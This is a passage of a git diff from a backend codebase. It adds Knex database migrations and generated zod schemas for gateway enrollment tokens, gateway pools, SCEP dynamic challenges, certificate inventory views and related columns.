+  const hasWebhookTable = await knex.schema.hasTable(TableName.Webhook);
+  if (!hasWebhookTable) return;
+
+  const hasFilteredEventsColumn = await knex.schema.hasColumn(TableName.Webhook, FILTERED_EVENTS_COLUMN);
+
+  await knex.schema.alterTable(TableName.Webhook, (table) => {
+    if (!hasFilteredEventsColumn) {
+      table.specificType(FILTERED_EVENTS_COLUMN, "text[]").nullable();
+    }
+  });
+}
+
+export async function down(knex: Knex): Promise<void> {
+  const hasWebhookTable = await knex.schema.hasTable(TableName.Webhook);
+  if (!hasWebhookTable) return;
+
+  const hasFilteredEventsColumn = await knex.schema.hasColumn(TableName.Webhook, FILTERED_EVENTS_COLUMN);
+
+  await knex.schema.alterTable(TableName.Webhook, (table) => {
+    if (hasFilteredEventsColumn) {
+      table.dropColumn(FILTERED_EVENTS_COLUMN);
+    }
+  });
+}
diff --git a/backend/src/db/migrations/20260413000001_gateway-enrollment-tokens.ts b/backend/src/db/migrations/20260413000001_gateway-enrollment-tokens.ts
new file mode 100644
index 00000000000..375a3e5a782
--- /dev/null
+++ b/backend/src/db/migrations/20260413000001_gateway-enrollment-tokens.ts
@@ -0,0 +1,48 @@
+import { Knex } from "knex";
+
+import { TableName } from "../schemas";
+import { createOnUpdateTrigger, dropOnUpdateTrigger } from "../utils";
+
+export async function up(knex: Knex): Promise<void> {
+  const hasTokenVersionColumn = await knex.schema.hasColumn(TableName.GatewayV2, "tokenVersion");
+  const hasIdentityIdColumn = await knex.schema.hasColumn(TableName.GatewayV2, "identityId");
+
+  // Make identityId nullable and add tokenVersion to support enrollment-token-based gateways
+  await knex.schema.alterTable(TableName.GatewayV2, (t) => {
+    if (hasIdentityIdColumn) {
+      t.uuid("identityId").nullable().alter();
+    }
+    if (!hasTokenVersionColumn) {
+      t.integer("tokenVersion").notNullable().defaultTo(0);
+    }
+  });
+
+  if (!(await knex.schema.hasTable(TableName.GatewayEnrollmentTokens))) {
+    await knex.schema.createTable(TableName.GatewayEnrollmentTokens, (t) => {
+      t.uuid("id", { primaryKey: true }).defaultTo(knex.fn.uuid());
+      t.uuid("orgId").notNullable();
+      t.foreign("orgId").references("id").inTable(TableName.Organization).onDelete("CASCADE");
+      t.string("tokenHash", 128).notNullable().unique();
+      t.integer("ttl").notNullable().defaultTo(3600);
+      t.timestamp("expiresAt").notNullable();
+      t.timestamp("usedAt").nullable();
+      // When set, enrolling with this token updates the existing gateway instead of creating a new one
+      t.uuid("gatewayId").nullable();
+      t.foreign("gatewayId").references("id").inTable(TableName.GatewayV2).onDelete("CASCADE");
+      t.timestamps(true, true, true);
+    });
+
+    await createOnUpdateTrigger(knex, TableName.GatewayEnrollmentTokens);
+  }
+}
+
+export async function down(knex: Knex): Promise<void> {
+  await dropOnUpdateTrigger(knex, TableName.GatewayEnrollmentTokens);
+  await knex.schema.dropTableIfExists(TableName.GatewayEnrollmentTokens);
+
+  // Restore identityId to not-null and remove tokenVersion (only safe if no null rows exist)
+  await knex.schema.alterTable(TableName.GatewayV2, (t) => {
+    t.uuid("identityId").notNullable().alter();
+    t.dropColumn("tokenVersion");
+  });
+}
diff --git a/backend/src/db/migrations/20260413325231_add-scep-dynamic-challenges.ts b/backend/src/db/migrations/20260413325231_add-scep-dynamic-challenges.ts
new file mode 100644
index 00000000000..64185f31ee4
--- /dev/null
+++ b/backend/src/db/migrations/20260413325231_add-scep-dynamic-challenges.ts
@@ -0,0 +1,63 @@
+import { Knex } from "knex";
+
+import { TableName } from "../schemas";
+import { createOnUpdateTrigger, dropOnUpdateTrigger } from "../utils";
+
+export async function up(knex: Knex): Promise<void> {
+  if (!(await knex.schema.hasTable(TableName.PkiScepDynamicChallenge))) {
+    await knex.schema.createTable(TableName.PkiScepDynamicChallenge, (t) => {
+      t.uuid("id", { primaryKey: true }).defaultTo(knex.fn.uuid());
+
+      t.uuid("scepConfigId").notNullable();
+      t.foreign("scepConfigId").references("id").inTable(TableName.PkiScepEnrollmentConfig).onDelete("CASCADE");
+      t.index("scepConfigId");
+
+      t.string("hashedChallenge", 64).notNullable();
+      t.index("hashedChallenge");
+
+      t.timestamp("expiresAt").notNullable();
+      t.index("expiresAt");
+
+      t.timestamps(true, true, true);
+    });
+
+    await createOnUpdateTrigger(knex, TableName.PkiScepDynamicChallenge);
+  }
+
+  if (!(await knex.schema.hasColumn(TableName.PkiScepEnrollmentConfig, "challengeType"))) {
+    await knex.schema.alterTable(TableName.PkiScepEnrollmentConfig, (t) => {
+      t.string("challengeType", 32).notNullable().defaultTo("static");
+      t.integer("dynamicChallengeExpiryMinutes").nullable();
+      t.integer("dynamicChallengeMaxPending").nullable();
+    });
+  }
+
+  if (await knex.schema.hasColumn(TableName.PkiScepEnrollmentConfig, "hashedChallengePassword")) {
+    await knex.schema.alterTable(TableName.PkiScepEnrollmentConfig, (t) => {
+      t.text("hashedChallengePassword").nullable().alter();
+    });
+  }
+}
+
+export async function down(knex: Knex): Promise<void> {
+  if (await knex.schema.hasTable(TableName.PkiScepDynamicChallenge)) {
+    await dropOnUpdateTrigger(knex, TableName.PkiScepDynamicChallenge);
+    await knex.schema.dropTable(TableName.PkiScepDynamicChallenge);
+  }
+
+  if (await knex.schema.hasColumn(TableName.PkiScepEnrollmentConfig, "challengeType")) {
+    await knex.schema.alterTable(TableName.PkiScepEnrollmentConfig, (t) => {
+      t.dropColumn("challengeType");
+      t.dropColumn("dynamicChallengeExpiryMinutes");
+      t.dropColumn("dynamicChallengeMaxPending");
+    });
+  }
+
+  if (await knex.schema.hasColumn(TableName.PkiScepEnrollmentConfig, "hashedChallengePassword")) {
+    await knex(TableName.PkiScepEnrollmentConfig).whereNull("hashedChallengePassword").delete();
+
+    await knex.schema.alterTable(TableName.PkiScepEnrollmentConfig, (t) => {
+      t.text("hashedChallengePassword").notNullable().alter();
+    });
+  }
+}
diff --git a/backend/src/db/migrations/20260414000001_add-gateway-pools.ts b/backend/src/db/migrations/20260414000001_add-gateway-pools.ts
new file mode 100644
index 00000000000..7bb9797b52c
--- /dev/null
+++ b/backend/src/db/migrations/20260414000001_add-gateway-pools.ts
@@ -0,0 +1,60 @@
+import { Knex } from "knex";
+
+import { TableName } from "../schemas";
+import { createOnUpdateTrigger, dropOnUpdateTrigger } from "../utils";
+
+export async function up(knex: Knex): Promise<void> {
+  // Create gateway_pools table
+  if (!(await knex.schema.hasTable(TableName.GatewayPool))) {
+    await knex.schema.createTable(TableName.GatewayPool, (t) => {
+      t.uuid("id", { primaryKey: true }).defaultTo(knex.fn.uuid());
+      t.uuid("orgId").notNullable();
+      t.foreign("orgId").references("id").inTable(TableName.Organization).onDelete("CASCADE");
+      t.string("name", 32).notNullable();
+      t.timestamps(true, true, true);
+      t.unique(["orgId", "name"]);
+    });
+
+    await createOnUpdateTrigger(knex, TableName.GatewayPool);
+  }
+
+  // Create gateway_pool_memberships join table
+  if (!(await knex.schema.hasTable(TableName.GatewayPoolMembership))) {
+    await knex.schema.createTable(TableName.GatewayPoolMembership, (t) => {
+      t.uuid("id", { primaryKey: true }).defaultTo(knex.fn.uuid());
+      t.uuid("gatewayPoolId").notNullable();
+      t.foreign("gatewayPoolId").references("id").inTable(TableName.GatewayPool).onDelete("CASCADE");
+      t.uuid("gatewayId").notNullable();
+      t.foreign("gatewayId").references("id").inTable(TableName.GatewayV2).onDelete("CASCADE");
+      t.timestamps(true, true, true);
+      t.unique(["gatewayPoolId", "gatewayId"]);
+    });
+
+    await createOnUpdateTrigger(knex, TableName.GatewayPoolMembership);
+  }
+
+  // Add gatewayPoolId to identity_kubernetes_auths
+  const hasGatewayPoolId = await knex.schema.hasColumn(TableName.IdentityKubernetesAuth, "gatewayPoolId");
+  if (!hasGatewayPoolId) {
+    await knex.schema.alterTable(TableName.IdentityKubernetesAuth, (t) => {
+      t.uuid("gatewayPoolId").nullable();
+      t.foreign("gatewayPoolId").references("id").inTable(TableName.GatewayPool).onDelete("RESTRICT");
+    });
+  }
+}
+
+export async function down(knex: Knex): Promise<void> {
+  // Remove gatewayPoolId from identity_kubernetes_auths
+  const hasGatewayPoolId = await knex.schema.hasColumn(TableName.IdentityKubernetesAuth, "gatewayPoolId");
+  if (hasGatewayPoolId) {
+    await knex.schema.alterTable(TableName.IdentityKubernetesAuth, (t) => {
+      t.dropColumn("gatewayPoolId");
+    });
+  }
+
+  await dropOnUpdateTrigger(knex, TableName.GatewayPoolMembership);
+  await knex.schema.dropTableIfExists(TableName.GatewayPoolMembership);
+
+  await dropOnUpdateTrigger(knex, TableName.GatewayPool);
+  await knex.schema.dropTableIfExists(TableName.GatewayPool);
+}
diff --git a/backend/src/db/migrations/20260415122043_add-shared-to-certificate-inventory-views.ts b/backend/src/db/migrations/20260415122043_add-shared-to-certificate-inventory-views.ts
new file mode 100644
index 00000000000..3373a9533d3
--- /dev/null
+++ b/backend/src/db/migrations/20260415122043_add-shared-to-certificate-inventory-views.ts
@@ -0,0 +1,47 @@
+import { Knex } from "knex";
+
+import { TableName } from "../schemas";
+
+export async function up(knex: Knex): Promise<void> {
+  const hasTable = await knex.schema.hasTable(TableName.CertificateInventoryView);
+  if (!hasTable) return;
+
+  const hasColumn = await knex.schema.hasColumn(TableName.CertificateInventoryView, "isShared");
+  if (hasColumn) return;
+
+  await knex.schema.alterTable(TableName.CertificateInventoryView, (t) => {
+    t.boolean("isShared").notNullable().defaultTo(false);
+  });
+
+  await knex.schema.alterTable(TableName.CertificateInventoryView, (t) => {
+    t.dropUnique(["projectId", "name", "createdByUserId"]);
+  });
+
+  await knex.raw(
+    `CREATE UNIQUE INDEX "cert_inv_view_personal_unique" ON "${TableName.CertificateInventoryView}" ("projectId", "name", "createdByUserId") WHERE "isShared" = false`
+  );
+
+  // Shared views: name must be unique per project
+  await knex.raw(
+    `CREATE UNIQUE INDEX "cert_inv_view_shared_unique" ON "${TableName.CertificateInventoryView}" ("projectId", "name") WHERE "isShared" = true`
+  );
+}
+
+export async function down(knex: Knex): Promise<void> {
+  const hasTable = await knex.schema.hasTable(TableName.CertificateInventoryView);
+  if (!hasTable) return;
+
+  const hasColumn = await knex.schema.hasColumn(TableName.CertificateInventoryView, "isShared");
+  if (!hasColumn) return;
+
+  await knex.raw(`DROP INDEX IF EXISTS "cert_inv_view_personal_unique"`);
+  await knex.raw(`DROP INDEX IF EXISTS "cert_inv_view_shared_unique"`);
+
+  await knex.schema.alterTable(TableName.CertificateInventoryView, (t) => {
+    t.unique(["projectId", "name", "createdByUserId"]);
+  });
+
+  await knex.schema.alterTable(TableName.CertificateInventoryView, (t) => {
+    t.dropColumn("isShared");
+  });
+}
diff --git a/backend/src/db/migrations/20260416231234_add-external-metadata-to-certificates.ts b/backend/src/db/migrations/20260416231234_add-external-metadata-to-certificates.ts
new file mode 100644
index 00000000000..568d30f90d0
--- /dev/null
+++ b/backend/src/db/migrations/20260416231234_add-external-metadata-to-certificates.ts
@@ -0,0 +1,24 @@
+import { Knex } from "knex";
+
+import { TableName } from "../schemas";
+
+export async function up(knex: Knex): Promise<void> {
+  if (await knex.schema.hasTable(TableName.Certificate)) {
+    const hasColumn = await knex.schema.hasColumn(TableName.Certificate, "externalMetadata");
+    if (!hasColumn) {
+      await knex.schema.alterTable(TableName.Certificate, (t) => {
+        t.jsonb("externalMetadata").nullable();
+      });
+    }
+  }
+}
+
+export async function down(knex: Knex): Promise<void> {
+  if (await knex.schema.hasTable(TableName.Certificate)) {
+    if (await knex.schema.hasColumn(TableName.Certificate, "externalMetadata")) {
+      await knex.schema.alterTable(TableName.Certificate, (t) => {
+        t.dropColumn("externalMetadata");
+      });
+    }
+  }
+}
diff --git a/backend/src/db/migrations/20260417245211_pam-session-reason.ts b/backend/src/db/migrations/20260417245211_pam-session-reason.ts
new file mode 100644
index 00000000000..85c4d31f20e
--- /dev/null
+++ b/backend/src/db/migrations/20260417245211_pam-session-reason.ts
@@ -0,0 +1,25 @@
+import { Knex } from "knex";
+
+import { TableName } from "../schemas";
+
+export async function up(knex: Knex): Promise<void> {
+  if (await knex.schema.hasTable(TableName.PamSession)) {
+    const hasCol = await knex.schema.hasColumn(TableName.PamSession, "reason");
+    if (!hasCol) {
+      await knex.schema.alterTable(TableName.PamSession, (t) => {
+        t.string("reason", 1000).nullable();
+      });
+    }
+  }
+}
+
+export async function down(knex: Knex): Promise<void> {
+  if (await knex.schema.hasTable(TableName.PamSession)) {
+    const hasCol = await knex.schema.hasColumn(TableName.PamSession, "reason");
+    if (hasCol) {
+      await knex.schema.alterTable(TableName.PamSession, (t) => {
+        t.dropColumn("reason");
+      });
+    }
+  }
+}
diff --git a/backend/src/db/migrations/20260421135044_add-digicert-external-ca-columns.ts b/backend/src/db/migrations/20260421135044_add-digicert-external-ca-columns.ts
new file mode 100644
index 00000000000..5df39806ccb
--- /dev/null
+++ b/backend/src/db/migrations/20260421135044_add-digicert-external-ca-columns.ts
@@ -0,0 +1,27 @@
+import { Knex } from "knex";
+
+import { TableName } from "../schemas";
+
+export async function up(knex: Knex): Promise<void> {
+  const hasCertificateRequests = await knex.schema.hasTable(TableName.CertificateRequests);
+  if (hasCertificateRequests) {
+    const hasEncryptedPrivateKey = await knex.schema.hasColumn(TableName.CertificateRequests, "encryptedPrivateKey");
+    if (!hasEncryptedPrivateKey) {
+      await knex.schema.alterTable(TableName.CertificateRequests, (t) => {
+        t.binary("encryptedPrivateKey").nullable();
+      });
+    }
+  }
+}
+
+export async function down(knex: Knex): Promise<void> {
+  const hasCertificateRequests = await knex.schema.hasTable(TableName.CertificateRequests);
+  if (hasCertificateRequests) {
+    const hasEncryptedPrivateKey = await knex.schema.hasColumn(TableName.CertificateRequests, "encryptedPrivateKey");
+    if (hasEncryptedPrivateKey) {
+      await knex.schema.alterTable(TableName.CertificateRequests, (t) => {
+        t.dropColumn("encryptedPrivateKey");
+      });
+    }
+  }
+}
diff --git a/backend/src/db/schemas/certificate-inventory-views.ts b/backend/src/db/schemas/certificate-inventory-views.ts
new file mode 100644
index 00000000000..d500d35bb62
--- /dev/null
+++ b/backend/src/db/schemas/certificate-inventory-views.ts
@@ -0,0 +1,26 @@
+// Code generated by automation script, DO NOT EDIT.
+// Automated by pulling database and generating zod schema
+// To update. Just run npm run generate:schema
+// Written by akhilmhdh.
+
+import { z } from "zod";
+
+import { TImmutableDBKeys } from "./models";
+
+export const CertificateInventoryViewsSchema = z.object({
+  id: z.string().uuid(),
+  projectId: z.string(),
+  name: z.string(),
+  filters: z.unknown(),
+  columns: z.unknown().nullable().optional(),
+  createdByUserId: z.string().uuid().nullable().optional(),
+  createdAt: z.date(),
+  updatedAt: z.date(),
+  isShared: z.boolean().default(false)
+});
+
+export type TCertificateInventoryViews = z.infer<typeof CertificateInventoryViewsSchema>;
+export type TCertificateInventoryViewsInsert = Omit<z.input<typeof CertificateInventoryViewsSchema>, TImmutableDBKeys>;
+export type TCertificateInventoryViewsUpdate = Partial<
+  Omit<z.input<typeof CertificateInventoryViewsSchema>, TImmutableDBKeys>
+>;
diff --git a/backend/src/db/schemas/certificate-requests.ts b/backend/src/db/schemas/certificate-requests.ts
index a1bae9640c5..b059afbd54e 100644
--- a/backend/src/db/schemas/certificate-requests.ts
+++ b/backend/src/db/schemas/certificate-requests.ts
@@ -5,6 +5,8 @@
 
 import { z } from "zod";
 
+import { zodBuffer } from "@app/lib/zod";
+
 import { TImmutableDBKeys } from "./models";
 
 export const CertificateRequestsSchema = z.object({
@@ -36,7 +38,8 @@ export const CertificateRequestsSchema = z.object({
   organizationalUnit: z.string().nullable().optional(),
   country: z.string().nullable().optional(),
   state: z.string().nullable().optional(),
-  locality: z.string().nullable().optional()
+  locality: z.string().nullable().optional(),
+  encryptedPrivateKey: zodBuffer.nullable().optional()
 });
 
 export type TCertificateRequests = z.infer<typeof CertificateRequestsSchema>;
diff --git a/backend/src/db/schemas/certificates.ts b/backend/src/db/schemas/certificates.ts
index 68325058faf..b69adb06017 100644
--- a/backend/src/db/schemas/certificates.ts
+++ b/backend/src/db/schemas/certificates.ts
@@ -44,7 +44,8 @@ export const CertificatesSchema = z.object({
   isCA: z.boolean().nullable().optional(),
   pathLength: z.number().nullable().optional(),
   source: z.string().nullable().optional(),
-  discoveryMetadata: z.unknown().nullable().optional()
+  discoveryMetadata: z.unknown().nullable().optional(),
+  externalMetadata: z.unknown().nullable().optional()
 });
 
 export type TCertificates = z.infer<typeof CertificatesSchema>;
diff --git a/backend/src/db/schemas/external-migration-configs.ts b/backend/src/db/schemas/external-migration-configs.ts
new file mode 100644
index 00000000000..bd77923b225
--- /dev/null
+++ b/backend/src/db/schemas/external-migration-configs.ts
@@ -0,0 +1,26 @@
+// Code generated by automation script, DO NOT EDIT.
+// Automated by pulling database and generating zod schema
+// To update. Just run npm run generate:schema
+// Written by akhilmhdh.
+
+import { z } from "zod";
+
+import { zodBuffer } from "@app/lib/zod";
+
+import { TImmutableDBKeys } from "./models";
+
+export const ExternalMigrationConfigsSchema = z.object({
+  id: z.string().uuid(),
+  orgId: z.string().uuid(),
+  provider: z.string(),
+  encryptedConfig: zodBuffer,
+  connectionId: z.string().uuid().nullable().optional(),
+  createdAt: z.date(),
+  updatedAt: z.date()
+});
+
+export type TExternalMigrationConfigs = z.infer<typeof ExternalMigrationConfigsSchema>;
+export type TExternalMigrationConfigsInsert = Omit<z.input<typeof ExternalMigrationConfigsSchema>, TImmutableDBKeys>;
+export type TExternalMigrationConfigsUpdate = Partial<
+  Omit<z.input<typeof ExternalMigrationConfigsSchema>, TImmutableDBKeys>
+>;
diff --git a/backend/src/db/schemas/gateway-enrollment-tokens.ts b/backend/src/db/schemas/gateway-enrollment-tokens.ts
new file mode 100644
index 00000000000..99cc5ebfd67
--- /dev/null
+++ b/backend/src/db/schemas/gateway-enrollment-tokens.ts
@@ -0,0 +1,26 @@
+// Code generated by automation script, DO NOT EDIT.
+// Automated by pulling database and generating zod schema
+// To update. Just run npm run generate:schema
+// Written by akhilmhdh.
+
+import { z } from "zod";
+
+import { TImmutableDBKeys } from "./models";
+
+export const GatewayEnrollmentTokensSchema = z.object({
+  id: z.string().uuid(),
+  orgId: z.string().uuid(),
+  tokenHash: z.string(),
+  ttl: z.number().default(3600),
+  expiresAt: z.date(),
+  usedAt: z.date().nullable().optional(),
+  gatewayId: z.string().uuid().nullable().optional(),
+  createdAt: z.date(),
+  updatedAt: z.date()
+});
+
+export type TGatewayEnrollmentTokens = z.infer<typeof GatewayEnrollmentTokensSchema>;
+export type TGatewayEnrollmentTokensInsert = Omit<z.input<typeof GatewayEnrollmentTokensSchema>, TImmutableDBKeys>;
+export type TGatewayEnrollmentTokensUpdate = Partial<
+  Omit<z.input<typeof GatewayEnrollmentTokensSchema>, TImmutableDBKeys>
+>;
diff --git a/backend/src/db/schemas/gateway-pool-memberships.ts b/backend/src/db/schemas/gateway-pool-memberships.ts
new file mode 100644
index 00000000000..53b636ca728
--- /dev/null
+++ b/backend/src/db/schemas/gateway-pool-memberships.ts
@@ -0,0 +1,22 @@
+// Code generated by automation script, DO NOT EDIT.
+// Automated by pulling database and generating zod schema
+// To update. Just run npm run generate:schema
+// Written by akhilmhdh.
+
+import { z } from "zod";
+
+import { TImmutableDBKeys } from "./models";
+
+export const GatewayPoolMembershipsSchema = z.object({
+  id: z.string().uuid(),
+  gatewayPoolId: z.string().uuid(),
+  gatewayId: z.string().uuid(),
+  createdAt: z.date(),
+  updatedAt: z.date()
+});
+
+export type TGatewayPoolMemberships = z.infer<typeof GatewayPoolMembershipsSchema>;
+export type TGatewayPoolMembershipsInsert = Omit<z.input<typeof GatewayPoolMembershipsSchema>, TImmutableDBKeys>;
+export type TGatewayPoolMembershipsUpdate = Partial<
+  Omit<z.input<typeof GatewayPoolMembershipsSchema>, TImmutableDBKeys>
+>;
diff --git a/backend/src/db/schemas/gateway-pools.ts b/backend/src/db/schemas/gateway-pools.ts
new file mode 100644
index 00000000000..8da7e271a5e
--- /dev/null
+++ b/backend/src/db/schemas/gateway-pools.ts
@@ -0,0 +1,20 @@
+// Code generated by automation script, DO NOT EDIT.
+// Automated by pulling database and generating zod schema
+// To update. Just run npm run generate:schema
+// Written by akhilmhdh.
+
+import { z } from "zod";
+
+import { TImmutableDBKeys } from "./models";
+
+export const GatewayPoolsSchema = z.object({
+  id: z.string().uuid(),
+  orgId: z.string().uuid(),
+  name: z.string(),
+  createdAt: z.date(),
+  updatedAt: z.date()
+});
+
+export type TGatewayPools = z.infer<typeof GatewayPoolsSchema>;
+export type TGatewayPoolsInsert = Omit<z.input<typeof GatewayPoolsSchema>, TImmutableDBKeys>;
+export type TGatewayPoolsUpdate = Partial<Omit<z.input<typeof GatewayPoolsSchema>, TImmutableDBKeys>>;
diff --git a/backend/src/db/schemas/gateways-v2.ts b/backend/src/db/schemas/gateways-v2.ts
index a133fa2acec..aa286fe5875 100644
--- a/backend/src/db/schemas/gateways-v2.ts
+++ b/backend/src/db/schemas/gateways-v2.ts
@@ -14,13 +14,14 @@ export const GatewaysV2Schema = z.object({
   createdAt: z.date(),
   updatedAt: z.date(),
   orgId: z.string().uuid(),
-  identityId: z.string().uuid(),
+  identityId: z.string().uuid().nullable().optional(),
   relayId: z.string().uuid().nullable().optional(),
   name: z.string(),
   heartbeat: z.date().nullable().optional(),
   encryptedPamSessionKey: zodBuffer.nullable().optional(),
   healthAlertedAt: z.date().nullable().optional(),
-  lastHealthCheckStatus: z.string().nullable().optional()
+  lastHealthCheckStatus: z.string().nullable().optional(),
+  tokenVersion: z.number().default(0)
 });
 
 export type TGatewaysV2 = z.infer<typeof GatewaysV2Schema>;
diff --git a/backend/src/db/schemas/identity-kubernetes-auths.ts b/backend/src/db/schemas/identity-kubernetes-auths.ts
index 4789ef36593..e9cfe9c4b04 100644
--- a/backend/src/db/schemas/identity-kubernetes-auths.ts
+++ b/backend/src/db/schemas/identity-kubernetes-auths.ts
@@ -33,7 +33,8 @@ export const IdentityKubernetesAuthsSchema = z.object({
   gatewayId: z.string().uuid().nullable().optional(),
   accessTokenPeriod: z.coerce.number().default(0),
   tokenReviewMode: z.string().default("api"),
-  gatewayV2Id: z.string().uuid().nullable().optional()
+  gatewayV2Id: z.string().uuid().nullable().optional(),
+  gatewayPoolId: z.string().uuid().nullable().optional()
 });
 
 export type TIdentityKubernetesAuths = z.infer<typeof IdentityKubernetesAuthsSchema>;
diff --git a/backend/src/db/schemas/index.ts b/backend/src/db/schemas/index.ts
index 448b992de4a..8ac69fffb7e 100644
--- a/backend/src/db/schemas/index.ts
+++ b/backend/src/db/schemas/index.ts
@@ -11,7 +11,6 @@ export * from "./ai-mcp-endpoints";
 export * from "./ai-mcp-server-tools";
 export * from "./ai-mcp-server-user-credentials";
 export * from "./ai-mcp-servers";
-export * from "./api-keys";
 export * from "./app-connection-credential-rotations";
 export * from "./app-connections";
 export * from "./approval-policies";
@@ -34,6 +33,7 @@ export * from "./certificate-authority-crl";
 export * from "./certificate-authority-secret";
 export * from "./certificate-bodies";
 export * from "./certificate-cleanup-configs";
+export * from "./certificate-inventory-views";
 export * from "./certificate-requests";
 export * from "./certificate-secrets";
 export * from "./certificate-syncs";
@@ -46,12 +46,16 @@ export * from "./email-domains";
 export * from "./external-certificate-authorities";
 export * from "./external-group-org-role-mappings";
 export * from "./external-kms";
+export * from "./external-migration-configs";
 export * from "./folder-checkpoint-resources";
 export * from "./folder-checkpoints";
 export * from "./folder-commit-changes";
 export * from "./folder-commits";
 export * from "./folder-tree-checkpoint-resources";
 export * from "./folder-tree-checkpoints";
+export * from "./gateway-enrollment-tokens";
+export * from "./gateway-pool-memberships";
+export * from "./gateway-pools";
 export * from "./gateways";
 export * from "./gateways-v2";
 export * from "./git-app-install-sessions";
@@ -118,6 +122,7 @@ export * from "./pam-discovery-source-dependencies";
 export * from "./pam-discovery-source-resources";
 export * from "./pam-discovery-source-runs";
 export * from "./pam-discovery-sources";
+export * from "./pam-domains";
 export * from "./pam-folders";
 export * from "./pam-resource-favorites";
 export * from "./pam-resource-rotation-rules";
@@ -147,6 +152,7 @@ export * from "./pki-discovery-configs";
 export * from "./pki-discovery-installations";
 export * from "./pki-discovery-scan-history";
 export * from "./pki-est-enrollment-configs";
+export * from "./pki-scep-dynamic-challenges";
 export * from "./pki-scep-enrollment-configs";
 export * from "./pki-scep-transactions";
 export * from "./pki-signers";
@@ -191,10 +197,7 @@ export * from "./secret-folders";
 export * from "./secret-imports";
 export * from "./secret-references";
 export * from "./secret-references-v2";
-export * from "./secret-rotation-output-v2";
-export * from "./secret-rotation-outputs";
 export * from "./secret-rotation-v2-secret-mappings";
-export * from "./secret-rotations";
 export * from "./secret-rotations-v2";
 export * from "./secret-scanning-configs";
 export * from "./secret-scanning-data-sources";
diff --git a/backend/src/db/schemas/models.ts b/backend/src/db/schemas/models.ts
index 898a347a45c..5eec2ab6be8 100644
--- a/backend/src/db/schemas/models.ts
+++ b/backend/src/db/schemas/models.ts
@@ -33,6 +33,7 @@ export enum TableName {
   PkiAcmeEnrollmentConfig = "pki_acme_enrollment_configs",
   PkiScepEnrollmentConfig = "pki_scep_enrollment_configs",
   PkiScepTransaction = "pki_scep_transactions",
+  PkiScepDynamicChallenge = "pki_scep_dynamic_challenges",
   PkiSubscriber = "pki_subscribers",
   PkiAlert = "pki_alerts",
   PkiAlertsV2 = "pki_alerts_v2",
@@ -60,7 +61,6 @@ export enum TableName {
   UserAction = "user_actions",
   SuperAdmin = "super_admin",
   RateLimit = "rate_limit",
-  ApiKey = "api_keys",
   ProjectSshConfig = "project_ssh_configs",
   Project = "projects",
   ProjectBot = "project_bots",
@@ -130,8 +130,6 @@ export enum TableName {
   SecretApprovalRequestSecret = "secret_approval_requests_secrets",
   SecretApprovalRequestSecretTag = "secret_approval_request_secret_tags",
   SecretApprovalPolicyEnvironment = "secret_approval_policies_environments",
-  SecretRotation = "secret_rotations",
-  SecretRotationOutput = "secret_rotation_outputs",
   SamlConfig = "saml_configs",
   LdapConfig = "ldap_configs",
   OidcConfig = "oidc_configs",
@@ -162,7 +160,6 @@ export enum TableName {
   JnSecretTag = "secret_tag_junction",
   SecretVersionTag = "secret_version_tag_junction",
   SecretVersionV2Tag = "secret_version_v2_tag_junction",
-  SecretRotationOutputV2 = "secret_rotation_output_v2",
   // KMS Service
   KmsServerRootConfig = "kms_root_config",
   KmsKey = "kms_keys",
@@ -220,6 +217,9 @@ export enum TableName {
   OrgGatewayConfigV2 = "org_gateway_config_v2",
   Relay = "relays",
   GatewayV2 = "gateways_v2",
+  GatewayEnrollmentTokens = "gateway_enrollment_tokens",
+  GatewayPool = "gateway_pools",
+  GatewayPoolMembership = "gateway_pool_memberships",
 
   KeyValueStore = "key_value_store",
 
@@ -237,9 +237,11 @@ export enum TableName {
   PamAccountDependency = "pam_account_dependencies",
   PamResourceRotationRule = "pam_resource_rotation_rules",
   PamResourceFavorite = "pam_resource_favorites",
+  PamDomain = "pam_domains",
   PamAccountPolicy = "pam_account_policies",
 
   VaultExternalMigrationConfig = "vault_external_migration_configs",
+  ExternalMigrationConfig = "external_migration_configs",
 
   // PKI ACME
   PkiAcmeAccount = "pki_acme_accounts",
@@ -258,6 +260,9 @@ export enum TableName {
   // PKI Cleanup
   CertificateCleanupConfig = "certificate_cleanup_configs",
 
+  // PKI Inventory Views
+  CertificateInventoryView = "certificate_inventory_views",
+
   // AI
   AiMcpServer = "ai_mcp_servers",
   AiMcpServerTool = "ai_mcp_server_tools",
@@ -281,11 +286,15 @@ export enum TableName {
   PkiSigners = "pki_signers",
   PkiSigningOperations = "pki_signing_operations",
 
+  CaSigningConfig = "ca_signing_configs",
+  SecretValidationRule = "secret_validation_rules",
+
   // Deprecated - Not used anymore now that Redis is persistent
   DeprecatedDurableQueueJobs = "queue_jobs",
-
-  CaSigningConfig = "ca_signing_configs",
-  SecretValidationRule = "secret_validation_rules"
+  DeprecatedSecretRotationV1 = "secret_rotations",
+  DeprecatedSecretRotationOutput = "secret_rotation_outputs",
+  DeprecatedSecretRotationOutputV2 = "secret_rotation_output_v2",
+  DeprecatedApiKey = "api_keys"
 }
 
 export type TImmutableDBKeys = "id" | "createdAt" | "updatedAt" | "commitId";
diff --git a/backend/src/db/schemas/pam-accounts.ts b/backend/src/db/schemas/pam-accounts.ts
index b84f31743b1..8402e7b1d5f 100644
--- a/backend/src/db/schemas/pam-accounts.ts
+++ b/backend/src/db/schemas/pam-accounts.ts
@@ -13,7 +13,7 @@ export const PamAccountsSchema = z.object({
   id: z.string().uuid(),
   projectId: z.string(),
   folderId: z.string().uuid().nullable().optional(),
-  resourceId: z.string().uuid(),
+  resourceId: z.string().uuid().nullable().optional(),
   name: z.string(),
   description: z.string().nullable().optional(),
   encryptedCredentials: zodBuffer,
@@ -25,7 +25,8 @@ export const PamAccountsSchema = z.object({
   requireMfa: z.boolean().default(false).nullable().optional(),
   internalMetadata: z.unknown().nullable().optional(),
   discoveryFingerprint: z.string().nullable().optional(),
-  policyId: z.string().uuid().nullable().optional()
+  policyId: z.string().uuid().nullable().optional(),
+  domainId: z.string().uuid().nullable().optional()
 });
 
 export type TPamAccounts = z.infer<typeof PamAccountsSchema>;
diff --git a/backend/src/db/schemas/pam-domains.ts b/backend/src/db/schemas/pam-domains.ts
new file mode 100644
index 00000000000..da1a63a99e9
--- /dev/null
+++ b/backend/src/db/schemas/pam-domains.ts
@@ -0,0 +1,26 @@
+// Code generated by automation script, DO NOT EDIT.
+// Automated by pulling database and generating zod schema
+// To update. Just run npm run generate:schema
+// Written by akhilmhdh.
+
+import { z } from "zod";
+
+import { zodBuffer } from "@app/lib/zod";
+
+import { TImmutableDBKeys } from "./models";
+
+export const PamDomainsSchema = z.object({
+  id: z.string().uuid(),
+  projectId: z.string(),
+  name: z.string(),
+  domainType: z.string(),
